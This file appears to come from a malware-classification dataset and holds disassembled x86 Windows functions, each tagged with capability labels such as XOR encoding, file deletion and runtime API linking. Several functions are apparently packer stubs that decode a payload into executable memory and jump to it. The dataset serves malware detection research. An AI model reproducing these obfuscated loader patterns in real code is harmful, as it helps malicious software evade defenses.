joyce8/EMBER2024-capa huggingface dataset:
Function at 0x422d00
Capabilities:
Access the windows event log
Delete directory
Delete file
Get disk information
Read .ini file

Disassembly:
mov eax, 0x1004
call fcn.00422040
cmp dword [0x803ad8], 0x37
jne 0x422db5
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push 0x4044b8
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea eax, [esp + 0x808]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x4044e8
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea ecx, [esp + 4]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapePosition]
push 0
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReportEventW]
push 0
lea eax, [esp + 0x408]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
mov ecx, dword [0x803adc]
mov eax, dword [0x7fff48]
mov dl, byte [ecx + esi + 0x38d6]
mov byte [eax + esi], dl
add esp, 0x1004
ret
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x1002aaee
pop dword [ebp - 0x44]
mov eax, 0x89259aaa
sub eax, 0x7922efbc
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xd3c4c2ba
sub dword [ebp - 0x54], 0x85727d6f
mov dword [ebp - 0x50], 0xf6c1a835
sub dword [ebp - 0x50], 0xc48e5bf0
mov dword [ebp - 0x4c], 0x60a1dff4
add dword [ebp - 0x4c], 0xebaa643a
mov dword [ebp - 0x48], 0x4d132647
add dword [ebp - 0x48], 0xb2ecd9b9
lea eax, [ebp - 0x54]
push eax
mov eax, 0xc04528de
sub eax, 0xb04268a6
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x1dc4a859
sub dword [ebp - 0x54], 0xa9523f03
mov dword [ebp - 0x50], 0xc61ea2b8
add dword [ebp - 0x50], 0x7b4dbebd
mov dword [ebp - 0x4c], 0xf394445c
add dword [ebp - 0x4c], 0x6fdb2810
mov dword [ebp - 0x48], 0x42493139
add dword [ebp - 0x48], 0xbdb6cec7
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3551c
push 0
call eax
mov ecx, 0xb6115f43
sub ecx, 0xb6111bdb
mov edx, eax
mov edi, 0x10039600
add edi, dword [ebp - 0x44]
mov esi, 0xa4918453
xor dword [ebp - 0x40], 0x38880f0
mov ebx, dword [edi]
sub dword [ebp - 0x30], esi
add ebx, esi
add dword [ebp - 0x20], 0x9d940489
mov dword [edx], ebx
add edx, 4
add edi, 0x4dde29af
add edi, 0xb221d655
loop 0x1002abff
add eax, 0x10073
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x401170
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.USER32.dll_LoadIconW]
push edi
mov edi, dword [ebp + 8]
push 0x7f00
push 0
mov dword [ebp - 0x50], 0x30
mov dword [ebp - 0x4c], 3
mov dword [ebp - 0x48], 0x4013c0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], edi
call esi
push 0x7f00
push 0
mov dword [ebp - 0x38], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
push 0x7f00
push 0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], str.MainWindow
call esi
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
test ax, ax
jne 0x401228
push 0x10
push 0x404200
push 0x404210
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402219
mov esp, ebp
pop ebp
ret 0x10
push ebx
push 0
mov ebx, dword [sym.imp.USER32.dll_CreateWindowExW]
push edi
push 0
push 0
push 0xc8
push 0x190
push 0x80000000
push 0x80000000
push 0xcf0000
push str.Loader_v2.0
push str.MainWindow
push 0
call ebx
mov esi, eax
test esi, esi
jne 0x40128c
push 0x10
push 0x404200
push 0x404270
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
pop ebx
pop edi
lea eax, [esi + 1]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402219
mov esp, ebp
pop ebp
ret 0x10
push 0
push edi
push 0
push esi
push 0x1e
push 0x32
push 0x14
push 0x14
push 0x50000000
push 0x4042a4
push str.STATIC
push 0
call ebx
push 0
push edi
push 0
push esi
push 0x1e
push 0xc8
push 0x14
push 0x50
push 0x50000080
push 0x4042c0
push str.EDIT
push 0x200
call ebx
push 0
push edi
push 0
push esi
push 0x1e
push 0x64
push 0x3c
push 0x14
push 0x50000000
push 0x4042d0
push str.STATIC
push 0
mov dword [0x40643c], eax
call ebx
push 0
push edi
push 0
push esi
push 0x1e
push 0x96
push 0x3c
push 0x82
push 0x50002000
push 0x4042c0
push str.EDIT
push 0x200
call ebx
push 0
push edi
push 0
push esi
push 0x1e
push 0x64
push 0x64
push 0x14
push 0x50010001
push 0x4042f4
push str.BUTTON
push 0
mov dword [0x406434], eax
call ebx
push dword [ebp + 0x14]
mov dword [0x406438], eax
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
mov ebx, dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [ebp - 0x20]
push 0
push 0
push 0
push eax
call ebx
test eax, eax
je 0x40139e
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageW]
lea eax, [ebp - 0x20]
push eax
call esi
lea eax, [ebp - 0x20]
push eax
call edi
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call ebx
test eax, eax
jne 0x401382
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
xor ecx, ebp
pop ebx
pop edi
pop esi
call fcn.00402219
mov esp, ebp
pop ebp
ret 0x10
Function at 0x402af2
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402b31
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402b31
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402b31
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402b31
cmp dword [ecx + 0x74], 0xe
jbe 0x402b31
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4028b0
Capabilities:
Create process on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41350b
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x1a0
mov eax, dword [0x41d014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov dword [ebp - 0xfc], ecx
xorps xmm0, xmm0
mov dword [ebp - 0xe4], 0
xor eax, eax
mov dword [ebp - 0xe0], 7
movups xmmword [ebp - 0xf4], xmm0
mov word [ebp - 0xf4], ax
lea edx, [ebp - 0xf4]
mov dword [ebp - 4], eax
mov ecx, str.DOTNET_DISABLE_GUI_ERRORS
call fcn.0040ca80
test al, al
je 0x40295e
cmp dword [ebp - 0xe0], 8
lea eax, [ebp - 0xf4]
cmovae eax, dword [ebp - 0xf4]
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__wtoi]
add esp, 4
cmp eax, 1
je 0x403432
xorps xmm0, xmm0
mov dword [ebp - 0x9c], 0
xor eax, eax
mov dword [ebp - 0x98], 7
movups xmmword [ebp - 0xac], xmm0
mov word [ebp - 0xac], ax
movups xmmword [ebp - 0xdc], xmm0
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xc8], 7
mov word [ebp - 0xdc], ax
mov byte [ebp - 4], 2
cmp edi, 0x80008083
jne 0x402b67
lea ecx, [ebp - 0x94]
call fcn.004027b0
mov esi, eax
lea eax, [ebp - 0xac]
cmp eax, esi
je 0x402a47
mov ecx, dword [ebp - 0x98]
cmp ecx, 8
jb 0x402a06
mov edx, dword [ebp - 0xac]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4029fc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402a76
push ecx
push edx
call fcn.00410040
add esp, 8
mov dword [ebp - 0x9c], 0
xor eax, eax
mov dword [ebp - 0x98], 7
mov word [ebp - 0xac], ax
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0xac], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x9c], xmm0
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 7
mov word [esi], ax
mov ecx, dword [ebp - 0x80]
cmp ecx, 8
jb 0x402a86
mov edx, dword [ebp - 0x94]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402a7c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402a7c
Function at 0x42116a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, eax
xor edx, edx
xor eax, eax
cmp esi, 1
jne 0x421182
push esi
call fcn.00420ca9
jmp 0x4211f8
cmp esi, 2
jne 0x42119c
push edx
push edx
push esi
push 0x401638
push edx
push edx
call dword [0x4030a4]
xor eax, eax
inc eax
jmp 0x4211f8
cmp esi, 3
jne 0x4211b1
xor esi, esi
xor dl, byte [esi + ecx]
inc esi
cmp esi, 6
jb 0x4211a3
mov byte [ecx + 6], dl
jmp 0x4211f8
cmp esi, 4
jne 0x4211d0
mov al, byte [ecx + 6]
push 5
pop edx
xor al, byte [edx + ecx]
dec edx
cmp edx, 1
jge 0x4211bc
xor edx, edx
cmp al, byte [ecx]
sete dl
mov eax, edx
jmp 0x4211f8
cmp esi, 5
jne 0x4211f8
mov esi, dword [ecx + 8]
mov eax, dword [ecx + 0x28]
mov dword [ebp - 4], esi
cmp esi, edx
jne 0x4211eb
mov dword [ebp - 4], 0x7c59af1e
jmp 0x4211f5
push ecx
mov ecx, 0x10
rol dword [ebp - 4], cl
pop ecx
xor eax, dword [ebp - 4]
pop esi
leave
ret
Function at 0x4a1856
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4d4b20]
jne 0x4a1860
repz ret
jmp fcn.004a7ae3

Function at 0x4a5040
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4d4b20]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0049ddb2
and dword [ebp - 0x14], 0
cmp dword [0x4d7e5c], 0
mov dword [ebp - 0x18], eax
jne 0x4a50f3
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4a519b
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4af0e0
push ebx
call edi
test eax, eax
je 0x4a519b
mov esi, dword [fcn.00499940]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4d7e5c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4d7e60], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4d7e64], eax
call edi
push eax
call esi
mov dword [0x4d7e6c], eax
test eax, eax
je 0x4a50f3
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4d7e68], eax
mov eax, dword [0x4d7e68]
mov ecx, dword [ebp - 0x18]
mov esi, dword [fcn.00499944]
cmp eax, ecx
je 0x4a514c
cmp dword [0x4d7e6c], ecx
je 0x4a514c
push eax
call esi
push dword [0x4d7e6c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4a514c
test ebx, ebx
je 0x4a514c
call edi
test eax, eax
je 0x4a5143
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4a5143
test byte [ebp - 8], 1
jne 0x4a514c
or dword [ebp + 0x10], 0x200000
jmp 0x4a517f
mov eax, dword [0x4d7e60]
cmp eax, dword [ebp - 0x18]
je 0x4a517f
push eax
call esi
test eax, eax
je 0x4a517f
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4a517f
mov eax, dword [0x4d7e64]
cmp eax, dword [ebp - 0x18]
je 0x4a517f
push eax
call esi
test eax, eax
je 0x4a517f
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4d7e5c]
call esi
test eax, eax
je 0x4a519b
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4a519d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004a1856
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x409d4c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x411014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00407d51
and dword [ebp - 0x14], 0
cmp dword [0x412b5c], 0
mov dword [ebp - 0x18], eax
jne 0x409dff
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x409ea7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress_1]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x409ea7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x412b5c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x412b60], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x412b64], eax
call edi
push eax
call esi
mov dword [0x412b6c], eax
test eax, eax
je 0x409dff
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x412b68], eax
mov eax, dword [0x412b68]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x409e58
cmp dword [0x412b6c], ecx
je 0x409e58
push eax
call esi
push dword [0x412b6c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x409e58
test ebx, ebx
je 0x409e58
call edi
test eax, eax
je 0x409e4f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x409e4f
test byte [ebp - 8], 1
jne 0x409e58
or dword [ebp + 0x10], 0x200000
jmp 0x409e8b
mov eax, dword [0x412b60]
cmp eax, dword [ebp - 0x18]
je 0x409e8b
push eax
call esi
test eax, eax
je 0x409e8b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x409e8b
mov eax, dword [0x412b64]
cmp eax, dword [ebp - 0x18]
je 0x409e8b
push eax
call esi
test eax, eax
je 0x409e8b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x412b5c]
call esi
test eax, eax
je 0x409ea7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x409ea9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403ffe
leave
ret
Function at 0x40d578
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a428]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00408d2c
mov dword [ebp - 0x14], eax
cmp dword [0x436598], esi
jne 0x40d66b
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d5f8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d74b
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d74b
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d74b
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x436598], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x43659c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4365a0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4365a8], eax
test eax, eax
je 0x40d668
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4365a4], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d690
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d683
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d6a5
push 4
pop eax
jmp 0x40d74d
cmp dword [ebp - 0x14], esi
je 0x40d6a5
push dword [0x436598]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d68a
mov eax, dword [0x4365a4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d703
cmp dword [0x4365a8], edi
je 0x40d703
push eax
call ebx
push dword [0x4365a8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d703
test eax, eax
je 0x40d703
call ecx
test eax, eax
je 0x40d6f8
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d6f8
test byte [ebp - 8], 1
jne 0x40d703
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d733
mov eax, dword [0x43659c]
cmp eax, edi
je 0x40d730
push eax
call ebx
test eax, eax
je 0x40d730
call eax
mov esi, eax
test esi, esi
je 0x40d730
mov eax, dword [0x4365a0]
cmp eax, edi
je 0x40d730
push eax
call ebx
test eax, eax
je 0x40d730
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x436598]
call ebx
test eax, eax
je 0x40d74b
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d74d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004040e0
mov esp, ebp
pop ebp
ret
Function at 0x406016
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x406025
pop dword [ebp - 0x28]
mov eax, 0x406025
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xf6840f0e
add dword [ebp - 0x38], 0x57ce363d
mov dword [ebp - 0x34], 0x688fc30e
sub dword [ebp - 0x34], 0x365c76c9
mov dword [ebp - 0x30], 0xe7e59cee
sub dword [ebp - 0x30], 0x9b9958c0
mov dword [ebp - 0x2c], 0xe5959e02
sub dword [ebp - 0x2c], 0xe5959e02
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x4f04d949
add dword [ebp - 0x38], 0x256d900d
mov dword [ebp - 0x34], 0x55b7d12b
sub dword [ebp - 0x34], 0x144b6fb6
mov dword [ebp - 0x30], 0xd03e532e
sub dword [ebp - 0x30], 0x6ccee6c2
mov dword [ebp - 0x2c], 0x35c5ea56
sub dword [ebp - 0x2c], 0x35c5ea56
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x9767ed0c
sub eax, 0x97277cec
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x384b4
push 0
call eax
mov ecx, 0x4a3a
xor edx, edx
add edx, eax
mov esi, 0xe98d23a8
add esi, 0x16b3a458
add esi, dword [ebp - 0x28]
mov ebx, 0x433ecaba
add ebx, 0x575ec619
add dword [ebp - 0x20], ecx
mov edi, dword [esi]
xor dword [ebp - 0x1c], 0x8f522696
xor edi, ebx
mov dword [edx], edi
sub dword [ebp - 0x18], 0x304d9fda
add edx, 4
add esi, 0xdd9474cb
sub esi, 0xdd9474c7
loop 0x406139
add eax, 0x11bbb
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xe9e9ca5f
sub ecx, 0xe9a9ca5f
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x407e17
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebx
push edi
mov edi, ecx
push edi
call dword [sym.imp.kernel32.dll_lstrlenW]
push 0
mov ebx, eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x407e86
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
lea ebx, [ebx*2 + 2]
push ebx
push 0x2002
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov esi, eax
push esi
call dword [sym.imp.kernel32.dll_GlobalLock]
test eax, eax
je 0x407e62
push ebx
push edi
push eax
call fcn.0040ba60
add esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_GlobalUnlock]
push esi
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
jne 0x407e7d
push esi
call dword [sym.imp.kernel32.dll_GlobalFree]
pop esi
pop edi
pop ebx
jmp dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop ebx
ret

Function at 0x416788
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x416797
pop dword [ebp - 0x48]
mov eax, 0x416797
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x43972
push 0
mov eax, 0x746b8c9f
sub eax, 0x7429aa73
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0x4b9cb4bf
sub ecx, 0x4b9c5956
xor ebx, ebx
add ebx, eax
mov esi, 0x6e2e1b73
sub esi, 0x6dea6973
add esi, dword [ebp - 0x48]
mov edx, 0x8591a670
sub edx, 0xd9753fed
mov dword [ebp - 0x14], 0xd8121f65
mov edi, dword [esi]
sub dword [ebp - 0x1c], ebx
xor edi, edx
mov dword [ebx], edi
xor dword [ebp - 0x28], ebx
add ebx, 0x2ec54611
sub ebx, 0x2ec5460d
add esi, 0x3872f441
sub esi, 0x3872f43d
loop 0x4167f3
add eax, 0x16077
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x41da50
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call fcn.0041d790
test eax, eax
jne 0x41da68
mov eax, 0x80004005
mov esp, ebp
pop ebp
ret
push ebx
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 0x20006
push 0
push str.AppID
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x41da9f
push eax
call fcn.00410650
add esp, 4
mov ebx, eax
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push edi
mov edi, dword [ebp - 4]
lea ecx, [ebp - 0x10]
push 0x20006
push 0x441dc8
push edi
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
call fcn.00411c80
mov esi, dword [ebp - 0x10]
test eax, eax
je 0x41dade
push eax
call fcn.00410650
add esp, 4
jmp 0x41daf1
push str.LocalService
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push 0
call fcn.0041e040
mov ebx, eax
test esi, esi
je 0x41dafe
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
je 0x41db09
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42ee89
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042eb4c

Function at 0x42ee94
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0042eccd
Function at 0x1001cc06
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x1001cc15
pop dword [ebp - 0x38]
mov eax, 0x618bde6a
sub eax, 0x518a1255
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x380b59a7
sub dword [ebp - 0x48], 0xe9b9145c
mov dword [ebp - 0x44], 0x9d459e26
add dword [ebp - 0x44], 0x94edae1f
mov dword [ebp - 0x40], 0xc0a35a21
add dword [ebp - 0x40], 0x8ba8ea0d
mov dword [ebp - 0x3c], 0xe6bcd1bd
sub dword [ebp - 0x3c], 0xe6bcd1bd
lea eax, [ebp - 0x48]
push eax
mov eax, 0xfcd5e547
add eax, 0x132bfb39
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x2f9e075f
add dword [ebp - 0x48], 0x44d461f7
mov dword [ebp - 0x44], 0xe20015d
sub dword [ebp - 0x44], 0xccb39fe8
mov dword [ebp - 0x40], 0x8ce8021e
sub dword [ebp - 0x40], 0x297895b2
mov dword [ebp - 0x3c], 0x8651085b
add dword [ebp - 0x3c], 0x79aef7a5
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x3b806c65
sub eax, 0x2b7e8be1
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x3ec80
push 0
call eax
mov ecx, 0xd6c561ba
add ecx, 0x293aec01
xor edi, edi
add edi, eax
mov esi, 0x2eafe9f6
add esi, 0xe1536e0a
add esi, dword [ebp - 0x38]
mov ebx, 0xf8d35262
add ebx, 0x3d9c87ab
xor dword [ebp - 0x24], 0xe62f28a9
mov edx, dword [esi]
xor dword [ebp - 0x18], edi
xor edx, ebx
xor dword [ebp - 0x30], ebx
mov dword [edi], edx
sub dword [ebp - 0x34], edi
add edi, 4
add esi, 0x5a54950
add esi, 0xfa5ab6b4
loop 0x1001cd39
add eax, 0x97fbad24
sub eax, 0x97fa8365
mov ebx, eax
add eax, 5
mov ecx, 0x84167243
add ecx, 0x8be98dbd
add ecx, dword [ebp - 0x38]
call ebx
leave
ret